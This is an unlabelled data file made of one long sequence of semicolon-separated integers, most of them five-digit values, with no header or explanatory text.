1006;21688;42544;56621;61522;21745;54675;43449;63565;37396;57166;26961;44347;16802;44919;61746;26105;18111;54883;47412;16869;44789;34335;56614;24987;65673;64050;38428;66879;24137;12663;48935;29712;32867;26905;19305;44420;62889;14636;41735;45342;52833;48779;10969;57842;13230;35044;55309;46695;51993;22831;39199;23194;63545;30011;15652;64804;53297;23479;15814;39067;42217;17981;42906;34403;60381;17982;49200;29542;25639;43026;39754;49179;14637;36027;48404;25599;15622;20749;13939;27688;16734;61630;22725;57350;24919;14295;43598;55864;57863;48198;18174;22315;20408;47877;15663;32174;49845;59277;26011;23629;13519;45039;43324;26710;16368;56639;20956;47327;36981;27839;13809;26142;37809;12849;14498;33051;10652;20503;25672;53405;12295;64763;62020;25291;55327;40168;54704;29941;62019;56006;54329;54533;46657;39607;37906;44060;64817;33008;62473;32191;17461;42435;31220;45846;45044;36549;44733;34393;20513;20551;34022;24426;22952;33941;55139;22146;30927;22795;16013;20438;48747;66963;64698;25658;57092;42274;16338;34762;14982;63574;37822;56054;49603;18530;24333;34793;55949;64814;57445;17162;52642;33786;62950;52949;17655;49423;39457;46144;24843;13927;21256;25150;16490;64360;17091;63920;61561;63338;54068;23654;50447;41806;29874;35091;33497;53414;40379;62491;32936;22085;43222;36508;59973;55670;46133;52709;53588;13108;45758;51036;63690;59857;61633;65658;61190;43444;31163;11738;35558;16400;65046;43939;11536;42732;65264;15000;25289;33248;64431;26397;51807;45640;55433;18730;60469;12525;30069;30279;51471;54236;48155;21192;32158;57073;49934;51808;20183;42247;40385;65512;57454;26874;31002;13706;47438;21143;49143;12821;36219;64866;43381;22022;14039;27833;14320;12207;13074;59983;34816;59948;36030;46978;33906;62099;32885;29688;27078;53273;15918;51407;32907;56013;26303;13405;32124;16184;18748;54527;22175;64634;45451;43115;62175;46635;53575;43208;60150;48247;32152;10269;65026;32554;15487;46779;23912;27798;66739;16944;14934;49284;55138;38453;10539;30852;64378;42548;45010;55586;22042;55440;14341;49227;25748;54014;23738;27593;12897;17762;20094;31240;61893;13052;41285;15569;29517;48737;28033;13471;18201;22071;65687;20012;13549;49598;59005;13202;38964;25293;65053;66615;66562;51120;10461;25274;41934;30842;28977;16901;15517;46322;19588;53887;39018;16236;62058;58532;39914;20497;39741;20830;27778;65587;60271;58094;57586;49937;20364;19884;46026;57993;16079;56173;10653;43241;57616;36225;51330;66859;54541;25033;19306;26089;55276;62199;63926;64800;39121;32320;30907;49948;40841;47193;28121;31996;17311;15307;61805;25319;16745;22766;28218;50535;49777;36628;61297;40647;47396;43988;29496;33458;16881;46023;63459;64200;65245;56322;24460;51297;39716;40983;31728;57319;64262;20448;20181;29801;15281;40884;40416;42733;48795;43133;21416;57784;58652;53631;63340;23296;35898;22316;34921;21247;13712;28344;44514;57981;62825;64547;26540;45478;40053;60903;53714;29878;10199;60769;64222;42226;30166;36675;30071;29469;30660;54370;48599;53782;41614;53646;35424;30441;51519;64104;55994;19153;27598;32144;26989;55488;51769;65532;46637;17786;55411;31995;63285;18435;62696;35482;48476;56129;61301;50206;15964;58274;27814;17083;50487;15177;58055;62006;32713;62838;45018;30701;61758;26368;43801;24920;42073;59977;46141;13331;10444;60451;58553;43124;46971;61053;45102;15830;58664;10546;51472;65960;63830;57647;31554;23460;43712;10552;51949;60896;59687;22648;40061;33897;15952;28763;32607;15332;30626;37450;66509;13374;12961;24884;39400;33580;61753;48639;45822;27891;25347;62014;34465;34362;25787;29381;60365;40152;59731;49085;43609;11082;64406;59365;19712;39775;61887;13142;63001;54724;26733;34734;60763;28768;23432;55093;25997;33436;62063;10575;56727;63616;42376;60569;48667;56518;32230;22752;64968;47681;24988;15286;15524;13664;23571;31669;10981;23207;20439;23227;20393;52615;16180;30476;42944;49001;61227;51765;47906;28987;45564;40941;10111;53632;66409;21830;50466;44459;61320;42074;43407;28884;23240;59952;55810;62811;24614;38173;17111;54045;34151;30503;30885;61024;32267;22123;39983;11180;43265;13065;61060;57006;17595;30302;52071;26684;37989;15219;60720;45456;65536;10457;11747;39277;50039;51294;57141;58980;62052;54128;40397;45630;23868;14878;40623;55121;51713;27976;14999;61399;56756;51530;23314;56964;24910;32742;63689;49515;39737;14539;48231;47823;19852;20712;64787;48738;53738;45533;52875;55499;27550;54531;39158;26827;57890;11364;31714;52310;38363;58151;53475;38257;57070;62455;33185;16863;50807;65810;15756;30155;60217;25005;29740;27675;21478;24130;12303;62782;35892;59370;24970;52181;30328;44448;61547;15358;12646;22874;66900;56089;21783;11615;24284;45256;11229;20486;26314;57205;13442;18554;50190;49892;61057;31291;65773;59330;51014;53030;16095;25277;29630;59635;64546;52749;34472;66054;20771;44204;18674;47108;49447;38564;61637;59513;42293;64255;60705;18021;40838;60302;11367;58914;51699;14848;14369;27528;12406;42202;15637;57077;62415;56172;54094;40437;51475;45106;56595;17675;14896;21920;63482;65121;66657;53259;21454;53460;44852;63054;25284;34663;44900;60564;58777;27813;38444;43635;54703;10272;57507;10912;58955;34274;22210;21517;23898;59257;24956;43223;14272;52633;58225;30735;24979;60560;54476;47334;47739;14891;59026;61725;10135;59654;26258;61546;22628;65048;64967;46626;60573;44305;26491;18011;30998;19700;52657;21081;60629;45792;10146;64609;56901;23102;35916;18845;28480;14119;26544;33298;23368;58109;55605;18184;43169;22139;56398;27564;44286;12989;25876;18487;40676;64580;52335;63963;25394;55372;13280;28825;14536;62104;11326;28039;45929;37757;49713;48956;21684;16706;55827;16637;38513;25138;64975;47094;27174;66341;24366;19986;31829;27480;19226;49644;33734;48699;35099;65280;21820;11309;18399;25945;23283;62924;19543;37136;57547;53366;26152;24606;29209;39180;50017;15669;40803;12016;15546;46353;16500;43992;64435;10353;38210;32776;66799;38873;12398;49918;57310;14793;18452;39127;34706;38697;40564;15718;65841;12071;37289;40573;36324;30960;40731;39875;27726;40789;59606;57272;18271;54122;62669;44580;26270;39990;15797;42166;46260;51378;18502;66884;66849;53907;26454;19716;15229;57093;16189;17395;58809;31018;44469;28930;32831;41926;28119;22089;50418;59396;55677;34404;36189;62785;18923;63540;64189;42153;16285;30134;54005;61661;52050;14993;14022;66176;35271;24483;57303;32033;36702;31876;13566;42590;13912;39213;32999;52787;33781;13058;39546;66853;52349;25279;24705;29931;58259;55910;49537;57995;47769;31868;25094;31616;17639;24076;12388;16515;16307;51817;25486;32793;37449;10622;55583;42165;58520;30895;19311;51984;29328;19668;34658;22668;66109;18496;33762;62694;16379;15073;32239;62341;24498;27807;13185;50284;27144;39782;50766;57133;39159;58576;22424;61538;21399;25860;51924;36990;40055;11678;22645;11001;51108;10838;27345;27428;22644;21900;64836;35402;66422;19132;18369;55646;35342;47060;50112;63316;16556;14271;59682;34176;57657;47695;56850;57274;31960;20746;10171;39928;30769;14053;60496;14850;62408;48332;63768;12910;51078;17046;48930;51906;34055;33807;28050;15301;35976;47332;33389;62840;29022;44487;27420;19951;54736;14940;26085;13569;37393;48340;11676;55219;13870;19301;28067;54849;21556;45485;47793;16290;60239;11555;64970;52143;33665;42864;52393;25020;17784;64307;41549;43587;40516;45855;10421;48979;27990;30175;53394;58268;32870;32045;53937;22925;13721;58597;57186;66500;19078;52006;47480;41758;23349;28094;18559;56127;36001;38659;42087;62520;14261;28505;23230;57251;20496;34193;36006;56125;47516;41153;11341;63117;11671;53917;47036;30008;59588;16705;47805;36514;43342;66392;43643;42768;18038;23521;56888;54606;23913;56193;58066;60554;48171;63317;27027;10223;29426;19296;50094;20090;57984;54195;13922;13304;43805;63786;53585;61691;33841;39252;51311;65104;33985;57561;43672;15006;19624;27348;11935;39773;51618;58934;19369;33926;66871;55422;30729;60141;25265;12088;15727;43539;63273;52580;61508;63998;54477;19959;60354;48223;12654;52708;37189;50717;40928;52503;43440;30749;62718;39191;51597;55243;37477;21929;25203;19097;12521;18689;66197;23186;21848;41454;50013;19013;59130;51091;15012;19053;42791;60960;53687;38144;39751;63630;37830;11742;29204;42508;11427;23790;51496;29766;27650;10807;59093;55870;26952;66450;34123;56842;62424;60213;60664;56731;58537;14965;51898;35311;29820;28574;60294;61582;19509;33711;53404;32680;40635;42591;48538;40317;21740;60583;22240;10271;56748;17317;39039;18465;63422;26705;10929;16835;42245;40130;23930;19059;13718;34196;49399;38854;21232;41162;54321;29726;39176;11951;56094;16074;53737;54626;59639;50214;15135;40182;34268;61973;42819;21045;19954;33737;59122;66891;56400;14852;53004;38464;29159;60961;64590;57386;34129;10885;66591;59029;32225;64174;37612;40826;61705;55458;55297;27831;20429;11937;19876;29812;38167;26964;52873;62013;26068;15251;40608;25960;62369;38204;11855;27149;66032;12789;33815;18810;25232;41242;21489;48718;49223;26296;10206;44957;40997;41872;40560;24280;20255;59449;13882;61380;18193;21862;16793;55982;43534;17233;55439;27711;13222;39743;26250;23788;24784;23034;19217;63221;42078;60695;36976;47288;20358;61575;37413;59447;30906;35854;40283;52776;49590;26078;51160;62904;20342;39921;28431;24603;21961;51526;50603;50318;48610;23547;24140;44830;41119;33886;54415;22381;63647;26519;33795;19205;49453;33053;54959;49350;15482;16553;44519;22976;35594;28647;41655;21899;31930;19064;53379;22006;49829;13917;15954;18031;37594;65407;12069;19789;54323;24962;34107;31878;48472;46719;24789;42213;14941;41460;61307;36727;25182;30642;14069;64809;46375;30999;45469;45461;15072;10307;60326;21370;63122;17222;64192;20669;37247;43097;28170;16851;13543;53547;15215;26118;66944;16433;40548;33054;26266;19450;14881;33899;19190;38898;12263;18379;19809;11417;24370;32410;18899;48638;49488;52056;38809;32691;28969;54603;33188;27493;53406;39624;65688;20357;45087;20718;62419;64963;37401;49526;48971;39641;31559;48839;31920;45811;30455;27249;33958;55835;47894;38819;31894;55875;46440;41295;18109;36971;16548;65860;60827;56698;64699;34534;11715;37739;12718;33025;60211;26600;18747;27035;27315;24557;27221;54383;13271;52939;52774;11360;55217;59560;59562;66537;34389;58480;18857;49066;49121;62605;22035;23753;55065;55843;22361;56059;12121;26837;66701;61844;11912;11613;34557;58959;14762;43575;13547;57419;37959;41228;31444;24080;40452;45109;35519;38404;13767;47372;55574;60430;13683;35776;38728;43252;39832;36924;60678;35010;62823;38524;54745;15282;15647;36644;18447;55599;21998;65031;37831;31227;48762;54240;58483;18428;57767;62400;62273;42828;13727;32782;46017;23953;62793;19781;10946;35227;19883;31673;14812;17582;11789;38427;26228;30740;64269;62429;66883;20983;59801;10053;25204;52782;30114;13124;19682;56169;16405;33226;26713;50688;47348;47740;60965;23664;27481;15855;64578;30062;25269;27638;51972;43130;11638;28963;29218;28207;15304;57080;44223;61463;34231;44618;62134;62849;64901;61286;46401;20001;59290;23846;54496;58930;41808;60835;61155;25029;50876;24731;42790;57432;52556;60637;13459;18287;34062;11580;50143;38288;65772;44146;45389;11126;35195;51219;61270;52481;22951;54857;52913;51170;10311;48554;61539;58457;30101;61901;43739;63749;62145;66819;23839;42467;10441;41714;49727;50654;38344;13829;63566;36979;14714;14518;58627;11617;24457;20177;41540;29521;32071;60707;62494;47176;10081;55504;17993;18164;16317;44243;16444;39151;36641;42390;43315;57284;57827;33613;31656;42275;41182;37677;51923;41904;22258;17619;63941;54135;22408;47052;21980;50376;17025;66171;50664;55357;29479;18116;51672;18806;65657;58668;42469;64135;51861;21938;64646;61823;65010;21420;55419;43667;37748;59788;41745;58098;33030;54889;59364;30827;46900;39163;51500;38716;28613;50135;56341;23231;32478;65764;31415;39803;65328;61953;33774;66640;41045;26196;55052;63161;16659;64263;61647;59470;50869;57142;40668;34336;19775;50248;24258;58845;17731;16415;18402;31484;37492;62382;40681;56521;36444;31791;59339;14909;20586;18798;24999;22215;28486;21587;62658;19738;50395;46491;53470;31618;64137;39373;55660;50541;38285;24322;64453;14520;35016;40554;27967;14996;39656;34032;14828;41217;57374;51010;14028;28815;47212;14440;12374;27873;46269;30318;15123;59353;31319;35947;57155;18340;42779;22075;45344;34508;22920;22677;61549;61043;41766;45234;49687;54000;46861;55639;45285;33285;22942;62576;37282;57099;54309;25798;41308;30590;45249;11419;35196;10454;61505;45973;30967;43331;63172;57363;48723;24386;24167;32869;62821;59575;52115;13164;28640;11093;22137;65465;63514;14945;59764;51885;14082;41462;51787;61483;43414;29529;33247;20394;60364;16912;23733;54530;13027;40620;66714;65561;48435;35067;15313;26782;13907;19039;51420;21268;11721;18538;14467;19804;14846;44141;15634;61783;45653;30932;21747;41557;54296;12558;61382;36350;60392;20067;39432;29221;61928;41683;33260;37223;55213;36303;35276;60195;18588;52092;28084;32330;28567;60519;21802;21776;58018;60682;48850;30750;60035;35145;58079;45544;44501;13376;12386;36192;65105;46504;43506;29407;50959;53221;31466;40519;29792;15226;42417;62567;33698;64008;63040;49422;28399;48178;27888;57787;32851;30034;26107;24608;49496;15441;55102;64410;62324;59369;43216;22856;43870;15931;13968;37616;47575;46222;13930;15949;47000;53190;61029;28059;26120;63814;49282;12027;38172;42536;40697;14820;45984;36154;38680;41778;40741;18619;18918;29502;43262;16726;38345;48265;23609;47896;42006;64120;37553;38443;33562;48730;26825;40875;29087;39521;40980;46593;10964;30778;26931;55016;50983;36214;18557;57031;39413;14724;14930;62487;29086;50648;56796;30316;38452;20731;33858;55056;43202;40100;46424;18312;35923;60393;13810;45881;46532;26680;46443;28394;25920;10597;48227;29473;48170;10358;31188;16123;28758;63504;61162;12847;49545;24694;58971;65161;23389;12208;62833;48684;48641;16070;41253;57592;61972;37609;19477;11486;37245;18758;29024;35595;48480;32559;57493;55370;40673;54735;51201;31739;32531;30450;43079;56667;63388;30372;41291;60730;64447;12683;29108;21296;22588;59845;64092;30996;12603;66539;23165;48954;44932;11645;50240;46234;49883;53279;58261;23926;30580;14114;43561;25587;57629;55869;63095;61959;18087;60578;42746;52736;63330;65387;58843;63662;58367;34408;65348;50573;31226;36062;25111;38437;60602;21986;56787;65839;61614;19847;16808;26436;33839;38542;35383;52077;31160;51512;12095;62634;66041;27699;31476;25909;51932;27743;64201;20844;19949;39037;27632;12240;19661;29884;56203;52040;47525;26615;10488;54264;56711;16394;24228;58355;54174;46122;49872;44735;56050;28685;55468;44731;51510;56501;57582;37482;10208;60623;65316;36646;27870;31248;19220;63976;35498;41487;14409;25695;56948;56198;14207;10077;48401;39247;56226;61712;17066;51123;30908;54599;54782;64593;38523;30980;46156;55825;65142;29377;46856;55520;10324;58574;50916;10560;37417;18846;26446;48968;54751;25790;53464;31720;23206;52386;28781;22145;37238;65975;32520;47792;35461;23961;20981;41707;20594;45022;62179;28299;39433;28013;11198;20547;51829;46472;52968;49357;11108;26954;43657;61173;25634;65077;48582;32935;32458;42250;62342;46366;13299;47573;27086;32921;66414;52484;47302;60651;10639;65537;34566;56777;44949;60340;20151;37071;37918;33259;29828;50693;17547;59827;35952;34577;53090;18773;27680;26771;25976;37723;39947;35500;47478;52746;47839;11733;11225;40746;29079;19813;65756;20036;34838;19848;31997;42089;60847;58461;16116;51487;23605;47015;35955;66680;40629;58177;24716;64168;46625;22312;26532;50703;36111;30564;46712;50998;22466;30618;27319;50975;54116;41440;36073;63351;40425;30847;33133;30425;51379;32579;32485;60534;60717;56974;38967;39268;63796;62936;31684;54605;28976;29516;61223;65958;25564;13458;54407;56574;61914;27406;50069;56072;21208;60086;23182;60805;33838;66565;24144;29962;41379;32685;41874;64923;14811;46664;56319;41717;31974;30002;24802;32698;53479;61741;20597;42928;66100;20546;34619;65405;56287;10325;58833;12818;26246;48212;50166;34938;32608;58301;62095;17817;18907;66275;66521;29641;44921;17701;64398;41367;32029;58329;32550;47530;64139;62826;43107;51737;55421;51602;26323;42156;41056;20038;44446;41726;50196;22038;34168;42206;58932;33884;39643;61490;12844;45749;57411;12443;35282;52929;35106;17550;30169;66672;53348;58973;36782;57721;64790;61515;17480;26091;62407;41750;58442;65957;16826;21878;17195;66039;25362;31693;28326;35958;52491;52231;34796;15795;18782;10515;30260;66218;54711;57710;18869;65670;26640;16094;10070;54730;66970;59644;31003;51081;66582;46407;44468;48984;65162;48835;13403;23732;50530;51667;42832;49740;61104;41313;32397;17744;51931;51886;11827;42161;49465;19574;20687;56404;35562;66454;51796;16512;35935;65444;58926;41499;60640;19434;19609;39212;48165;20285;30496;43301;53607;58725;46825;17755;44720;22147;51209;17552;28981;47729;34224;23457;62214;14094;20493;36853;19498;16408;59380;42283;64036;31194;37185;32461;60115;24321;48771;41785;39384;12835;40535;65022;34228;37675;10956;55028;16787;61870;27033;18249;60038;43080;36921;24087;45885;15116;48424;65499;33487;23996;35405;49753;62790;48752;10595;32569;28235;45233;48328;40756;11831;35945;53788;29292;10570;65359;48809;28278;58901;15205;10197;54640;17631;47887;21696;65483;54973;47338;15966;57109;57514;60874;20399;13106;23364;42233;34953;12813;51200;25925;54263;59106;42109;66727;55800;31840;52971;52132;34121;42152;47055;16960;38978;11085;17759;53092;58772;48219;21918;50553;32632;15454;28432;21589;50622;61488;64368;51615;36380;36626;66198;26411;15241;51596;15668;59430;43640;44936;29747;49758;10251;37467;43970;37817;49730;11151;20217;47091;43063;22282;24294;61979;39580;54373;20154;57517;43002;48483;59406;66812;13072;20224;58186;33601;65014;31429;54468;16513;63127;41044;11477;34664;15575;31148;39725;32321;51971;57922;48473;51460;15633;51780;43579;45151;66022;46715;56438;48445;17481;23485;19027;63805;57595;66810;27046;11471;13341;55483;42939;25368;43399;33938;11164;66346;62917;49973;55712;65357;31245;58684;18280;14008;61617;21070;26537;29052;40497;26780;29053;45397;39497;48263;18601;29573;31060;18589;24008;49185;36201;29588;22111;56855;36363;28743;27464;18764;13756;37291;58904;13584;45462;19686;43263;12116;16348;41346;13324;27991;29719;38364;31020;48207;24536;60090;27869;61993;25528;32883;50031;26459;42705;43542;64314;20531;16684;11393;23477;22256;53341;31638;48945;40614;29041;61670;62286;44687;63174;60994;14492;39454;13221;12877;11544;22671;29414;63401;16542;45209;17629;44248;40723;39479;11316;14033;15615;61685;33023;63721;63553;60149;50374;23906;65676;53084;35751;50158;58756;26186;10958;28786;44978;35247;49480;15778;20138;65180;30629;38713;47690;32387;11303;48350;45362;27255;41089;48508;46623;31029;16597;40820;23468;41166;11550;31966;49720;23037;43679;20554;52268;53831;25563;63595;55125;59320;26273;54237;65607;58778;63502;40814;52516;57353;44582;28290;48244;53330;28158;18939;21345;27673;40316;63201;25183;22623;35207;61558;26422;64566;28644;50772;27837;50779;29611;64924;43138;63279;21502;45361;38436;25885;27304;53613;40364;10390;54798;46114;54665;48300;32768;52396;36819;26225;34154;11607;33252;20806;52344;11448;65283;14757;12237;36895;42872;22196;52297;18385;60635;60039;60192;13525;36132;38008;45030;25841;22625;55267;15292;30845;59078;55275;53863;45754;25145;61139;64920;49246;65880;35336;12597;37430;63488;65007;55424;28878;34651;56559;23255;35126;59782;53669;29371;22949;61571;53999;13941;35810;36510;60760;38920;38077;26854;45298;28136;65451;37259;21891;53002;29120;57579;54230;11267;50301;47369;18732;44035;48869;41598;22201;24652;38484;63542;63315;51265;41946;50064;18078;46163;20706;22667;40203;64853;36332;45091;40351;60736;53452;24996;42474;42098;21755;53312;10073;42515;61601;58672;66720;43577;45742;27071;27779;56638;63150;65192;28520;40181;21810;24209;33967;51953;45258;29154;39238;50470;53255;54456;44380;48497;53492;52651;38999;19889;46812;14450;20343;54120;60033;58100;19777;45606;21123;30291;61482;23054;66751;43122;40233;39065;48926;34467;22663;33461;25097;11183;53132;16938;21331;34379;40744;13139;26679;33721;26146;23762;65426;66538;18368;49437;17100;60765;12533;49938;47679;16879;56860;29935;40966;11622;42560;40111;43139;42655;39655;26498;57448;51083;36129;35008;20107;41679;12451;47761;53421;66652;47907;36277;52612;53096;56444;27786;15175;59443;58315;49731;45733;58312;50078;15491;14544;36190;53298;40059;43442;59569;20356;51687;24768;56921;26366;27285;17743;33758;58878;15060;10455;57506;14515;13444;60206;40637;14036;20750;35159;29536;44938;17244;12377;51663;64808;43690;17382;17738;47260;49873;59520;19441;32269;28066;66400;66600;48602;29267;39077;53111;49500;56080;21523;30484;25008;22909;11523;24303;39085;60425;23111;50322;20975;55043;35862;30268;53589;16460;50458;53561;26987;66105;37795;45710;51761;19988;10805;61374;27309;39836;58667;35104;15314;10646;22994;57973;39013;12410;37210;25963;62153;33570;10482;18614;21273;48622;28005;11915;26280;31614;44066;27606;28464;33707;35570;28795;34023;65095;16576;66297;34893;35320;18858;42357;62969;16783;57267;53712;59358;64212;50377;51473;19495;28502;23162;53064;50550;49592;25491;63587;17366;19066;16623;44291;16155;32162;22320;28512;51488;50865;38500;64942;10278;38129;15068;60140;11488;46437;33235;43650;45780;57532;46001;25531;26951;40333;48661;66379;44185;42014;45059;52212;10110;65496;29481;47402;63974;25751;39193;14189;55665;18076;26915;64158;11946;51012;21255;18664;28015;11783;11695;54205;21686;36341;12455;35240;29164;15583;21465;15103;13529;29195;13541;14211;10025;27250;36002;53918;43538;44974;65233;26587;56028;23482;42100;41849;54622;63196;62433;13970;16176;58101;12435;55936;22474;62652;14953;37083;26555;12920;15270;39287;20331;32955;14568;62060;50751;35224;26940;44993;42891;18639;66380;47454;19191;13785;27762;30856;45583;50756;26402;31885;27736;41587;22394;63119;18630;44275;65520;23118;23751;63610;55273;29445;30222;23607;59937;27655;66838;16109;53088;61373;51594;55803;61010;25543;15803;58720;19698;63558;59919;31666;36449;66612;13694;11233;20890;41319;45919;10613;63937;54576;21493;52323;10537;66575;26558;16998;54177;52928;41468;37874;14573;44842;45354;51913;65674;54636;24103;50897;52681;36959;20729;40101;12502;45913;23250;56386;15088;56634;45251;34377;50864;50073;38046;33674;64603;48191;30208;22217;55899;45767;60269;46904;45215;22122;19478;56556;38505;35607;34990;29694;29009;61174;18036;59492;41239;37908;38067;46341;14279;12693;58831;66948;35293;43893;47029;44170;42495;32401;18290;60395;36758;38212;65843;23628;12661;29406;27912;34318;12682;66092;19507;21382;63307;12446;58620;62588;20109;30572;37358;32344;13789;43450;40524;37541;13329;65543;58432;11654;15498;47375;28928;47240;63377;61081;22252;57848;58335;55088;17153;46416;23603;18424;16631;61709;39453;55320;51849;24670;44447;40999;53108;47130;37489;28308;64014;34076;38884;43367;41026;55004;44738;29029;16071;35095;12865;47796;32983;48397;55692;52291;66965;40943;59283;45421;24779;37105;59705;34546;10261;29289;13498;64397;59757;64179;47273;35212;61776;37913;36074;10892;22987;51781;53413;18374;50640;66190;18712;39354;65008;16459;38071;34731;65920;18598;20400;12506;15690;20574;52446;60325;66832;19666;26957;25846;46906;60734;42137;47269;59008;40358;43741;66155;60508;18876;44127;10720;50692;23491;55860;30031;14439;25680;15024;19228;53113;22849;31975;23290;39259;11373;35404;52613;45324;32206;63288;13439;33312;37696;65818;46941;60752;60696;33320;12229;49451;10665;25827;31338;27018;58513;33970;44826;61212;65002;43726;11097;20412;50113;46245;28164;36101;16905;47471;10520;41962;35779;41169;34537;11980;39062;64288;42423;17549;35820;60001;10194;52482;12627;34361;41400;33616;34935;55185;54930;54975;53623;12081;57370;46166;21744;25369;29499;23155;54906;14647;47572;40767;17493;63412;60473;59014;24421;66021;25359;32678;27401;31722;21513;24883;50180;58559;61660;15742;46377;59539;21624;61032;37759;18152;64098;33881;15822;52160;20213;56915;46273;61042;31558;25523;40834;44364;40199;49147;33526;64981;48797;10400;30003;22809;12477;35267;13992;42616;30412;43468;53282;40241;42618;22503;47315;65069;40528;56793;49045;10759;53557;46863;53100;25728;30764;62365;65067;33514;33245;60693;55545;40410;42999;41740;62663;57791;50943;39134;66588;42717;65395;23113;12952;62046;40584;40831;37899;34165;41703;48379;56857;20092;18643;11952;56092;18110;44674;57307;16314;13345;61883;48918;33849;66770;35108;27534;14648;12569;16384;66559;44315;11563;37611;63138;29710;61108;28578;63552;13162;29742;34264;34266;18449;46857;44502;42090;44688;57318;36466;11299;60861;15504;61487;44247;15725;58408;44483;49482;41732;63812;15693;50015;18256;41501;14334;29938;32740;13700;14892;23516;24858;13026;31778;62564;41809;25040;13723;54031;44326;25206;21642;48427;12657;63101;10980;20560;65460;17069;38135;50176;44813;18770;19714;20659;58167;54687;43431;16615;11547;24334;41148;66494;16822;45147;14517;44703;51679;49841;16945;50941;53225;57190;53534;35848;45496;61795;59280;27801;30360;47470;18099;27085;28684;20739;61468;57152;56021;22130;40354;23542;53518;44504;39153;12490;64107;53966;51852;30183;49265;12712;66643;49623;39347;63582;22755;44532;50872;59846;38512;63953;30212;14825;21677;24056;17463;39584;42522;55001;53997;59829;52817;22751;66520;33371;20889;44955;10788;57704;27630;63665;28459;42009;46486;64001;66598;13160;33452;23697;29213;45094;21474;38926;16375;60549;42177;29276;50311;46876;30952;44670;35034;31518;21211;11703;24829;54051;16575;16262;28070;55934;37288;63291;12515;21922;19952;20056;55846;18620;35377;28841;50378;56302;14585;15132;45593;12748;31006;28460;63522;66481;21407;49181;11470;53025;42916;42210;50607;31246;39510;57631;60520;34785;36518;29432;40193;19976;38492;63765;62183;30644;60628;56529;43604;45351;17462;47464;56866;21167;18122;27553;44444;31455;41297;54443;66274;13542;10320;23981;30112;18586;32688;44982;30674;14147;32474;19003;66012;34339;31364;57243;52890;45077;39002;39890;47251;27336;56227;56947;18132;12735;59111;37309;39499;40667;64170;37851;13021;25650;52745;16981;12356;59224;25547;10066;31866;57151;44606;46829;22818;17700;15067;31985;15451;66183;19865;13597;19664;21563;60922;45261;23171;40839;45971;48523;25357;53323;66259;38936;16712;35175;53031;16791;37659;23324;12573;62332;23496;35467;12213;41592;47555;12822;58111;15789;11206;28054;49409;45228;37025;33443;27710;61548;44370;13490;49366;35638;36343;66309;63266;17142;19037;64964;20485;15563;23222;32241;53442;34919;36863;35740;51416;23940;15706;31437;65953;49828;57059;16756;34000;40320;64424;63398;59401;66270;35341;20041;25049;18220;11567;14917;45504;63319;45542;12266;37490;38166;59498;64474;58215;21890;25810;66943;66858;15264;20330;66492;58424;30707;29438;43605;55099;45569;44179;51760;10475;13845;51417;45708;28468;31550;18594;35720;63013;52874;39057;44829;15567;42932;53253;29094;10011;17472;58588;48186;59612;63455;46459;32624;46814;42726;54172;10026;17079;13054;30890;14247;49670;55619;33343;29236;20829;32744;62791;31541;38451;10863;60538;21155;39210;19168;59604;34885;61143;43923;59345;58172;45540;61965;33003;39770;66449;31735;47398;64019;45961;26153;15790;65769;23024;11572;59138;30949;28343;54557;57923;16742;45529;61467;36430;42765;37014;38473;38521;45088;51218;14516;61730;33377;58033;46325;18958;30826;65277;35310;25407;61715;29970;64331;30147;56613;50617;51894;39912;56997;13873;12922;40879;36004;42661;24285;50465;58737;66335;66490;56076;27279;38626;19794;55054;50721;54766;37704;34671;56084;53344;55253;42222;25520;33405;54091;48807;40042;37486;35671;32794;20367;23601;32649;22479;39853;14570;66369;56476;16673;51499;41855;35568;28234;27356;63777;53514;15065;66338;30595;19957;10180;22828;61306;45495;47383;33772;26835;44771;14454;14773;27067;34538;57210;44439;32570;17583;33792;31630;38456;27476;27879;24286;23297;26673;24411;53692;17350;45175;31414;61251;10478;30753;34505;57004;54071;30203;59010;50329;65079;28530;66483;43020;33634;38901;13888;52001;29070;15953;24719;31694;30538;20275;19981;60822;42169;20623;54743;12046;23415;10723;52518;31867;27558;28112;47409;33743;34466;35307;23480;27625;33126;46409;42406;51723;52903;59241;10994;45239;29709;66069;25167;63813;59012;31012;59696;20248;44718;48236;24964;44164;63629;49904;44683;20924;37902;62075;21126;64126;51189;44555;45480;32022;31511;19833;16654;38048;27047;66703;22941;32009;21229;55268;21409;46573;16356;22728;20444;36145;46893;25432;54712;37464;63012;44946;51661;50336;42488;30555;27968;36999;30202;57058;45259;31832;12986;42920;32629;25734;38617;24997;58280;25878;62178;59730;61101;60216;66971;36517;36484;32704;26421;46412;62732;55837;57581;46059;21579;65063;45064;36105;41436;23123;50446;54332;49519;55274;27437;57915;52685;19308;10299;39007;12393;25884;25355;18310;13610;30343;59929;65438;25969;49038;44981;34920;60881;17554;34187;42729;23900;17699;65371;61991;58948;35309;40296;59072;19886;39257;64503;33232;40348;52346;14711;24506;51351;18505;51595;36892;31506;56632;49429;43698;36933;51513;54290;63793;59104;61064;58036;53391;11118;55500;52483;16205;33730;46092;33498;23597;18626;27093;33336;24184;52303;44337;58333;17999;63568;66585;29171;14643;23199;56908;25772;31940;44163;10647;29128;63788;27109;31236;49009;19940;49372;27794;60186;35066;62925;19309;58771;59759;34092;60977;61653;43007;32984;16015;19568;28093;26832;25700;48688;16665;55384;36247;22499;50616;29298;66888;41864;35148;64270;62771;38406;63353;52750;60880;51763;55878;56079;54401;59101;51974;15646;51601;56447;23276;35970;64706;25158;44845;37720;30403;57315;10499;59643;15296;12417;58484;14755;50508;58572;55114;26060;21287;36406;41749;62688;24646;13790;24793;52060;59834;57908;66742;57200;15817;28172;22489;26399;25422;34049;32972;11439;36616;66295;64587;60862;16398;63255;57528;10024;49803;29533;35412;29212;63211;30532;20286;37779;52713;51772;27914;56601;62322;47184;52940;53040;29528;12436;15711;24020;52467;23103;20027;53195;62417;46159;51348;58038;56679;22783;28961;23492;33195;36668;45405;64473;64576;47124;18813;34006;32480;39448;19397;16933;57112;19635;59079;14173;57400;58897;55280;50251;52672;18054;29100;15630;53979;58331;26128;32992;23433;59832;58469;45260;28627;34263;10703;57818;38951;29480;53098;14108;58251;37125;19933;46768;54624;64829;20885;29716;13523;22410;47128;50255;18075;15505;22826;23190;38868;30592;58374;56968;26221;43822;61777;13167;58863;45770;21220;19287;30497;31903;65642;14091;37188;42546;11371;46484;61136;33043;24643;25894;65713;15448;32926;55616;26111;58441;15056;10497;49907;41545;50942;10106;59819;30434;38545;30802;21191;34539;61455;18196;23586;22674;47901;66137;66646;61774;39635;44843;30944;50280;27302;52253;44595;12405;61160;32279;52603;10207;36128;20579;60406;53652;15692;52309;42843;16063;14838;35089;23969;59414;49789;29889;22095;60417;41288;17501;27957;17156;66115;28076;12607;16646;42450;14109;55689;66214;65904;66814;61147;